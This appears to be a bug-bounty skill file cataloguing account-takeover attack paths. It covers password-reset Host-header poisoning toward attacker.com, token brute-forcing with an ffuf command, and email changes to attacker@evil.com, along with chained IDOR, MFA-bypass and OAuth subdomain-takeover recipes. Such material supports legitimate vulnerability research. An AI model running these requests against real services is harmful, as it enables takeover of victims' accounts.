adriannoes/awesome-agentic-ai/hunt-ato

13. ATO — ACCOUNT TAKEOVER TAXONOMY

Path 1: Password Reset Poisoning

POST /forgot-password
Host: attacker.com          # or X-Forwarded-Host: attacker.com
email=victim@company.com
# Reset link sent to attacker.com/reset?token=XXXX

Path 2: Reset Token in Referrer Leak

GET /reset-password?token=ABC123
→ page loads: <script src="https://analytics.com/track.js">
→ Referer: https://target.com/reset-password?token=ABC123 sent to analytics

Path 3: Predictable / Weak Reset Tokens

# Brute force 6-digit numeric token
ffuf -u "https://target.com/reset?token=FUZZ" \
     -w <(seq -w 000000 999999) -fc 404 -t 50

Path 4: Token Not Expiring

Request token → wait 2 hours → still works? = bug
Request token #1 → request token #2 → use token #1 → still works? = bug

Path 5: Email Change Without Re-Auth

PUT /api/user/email
{"new_email": "attacker@evil.com"}   # no current_password required

ATO Priority Chain

• Critical: no-user-interaction ATO
• High: requires one email click OR existing session
• Medium: requires phishing + user interaction
• Low: requires attacker to be MitM

Related Skills & Chains

• `hunt-idor` — The most reliable ATO primitive that requires no email control and no race. Chain primitive: PATCH /api/users/{victim_uid} with attacker session + victim UID + {"email":"attacker@evil.com"} → trigger password reset → reset email arrives at attacker → full ATO with zero victim interaction (Critical path).
• `hunt-mfa-bypass` — Password reset / email change without re-auth is only Critical if it bypasses MFA too. Chain primitive: password-change endpoint accepts new password without current-password challenge AND without MFA step-up → cookie theft (XSS or token leak) + password oracle (timing diff on login) → set new password from stolen cookie → MFA-less ATO from any IP/device.
• `hunt-oauth` — OAuth misconfigurations are the highest-yield no-interaction ATO path. Chain primitive: OAuth redirect_uri validation accepts subdomain match (*.target.com) + hunt-subdomain reveals a dangling CNAME on staging.target.com → claim that subdomain on Heroku/S3 → host an OAuth callback there → victim clicks crafted authorize URL → code lands on attacker subdomain → exchange for token → ATO.
• `hunt-misc` — Host-header injection on password reset is the canonical Path 1 primitive. Chain primitive: POST /forgot-password with Host: attacker.com (or X-Forwarded-Host) → reset email constructs link from request Host header → link points to attacker.com/reset?token=XXXX → victim clicks → token leaked to attacker → ATO.
• `security-arsenal` — Pull the Password-Reset Bypass Tables for host-header variants (X-Forwarded-Host, X-Host, X-HTTP-Host-Override, dual-Host smuggling), token-entropy payloads (sequential numeric, time-based predictable), and the always-rejected list for "rate-limit on /forgot-password" reports.
• `triage-validation` — Run the Pre-Severity Gate before claiming Critical on an ATO that requires the victim to click a link AND enter credentials AND complete CAPTCHA. The reproducibility step (10-minute fresh-browser walkthrough on test account B from attacker A's session) is what separates Critical-paid from Self-XSS-tier rejected.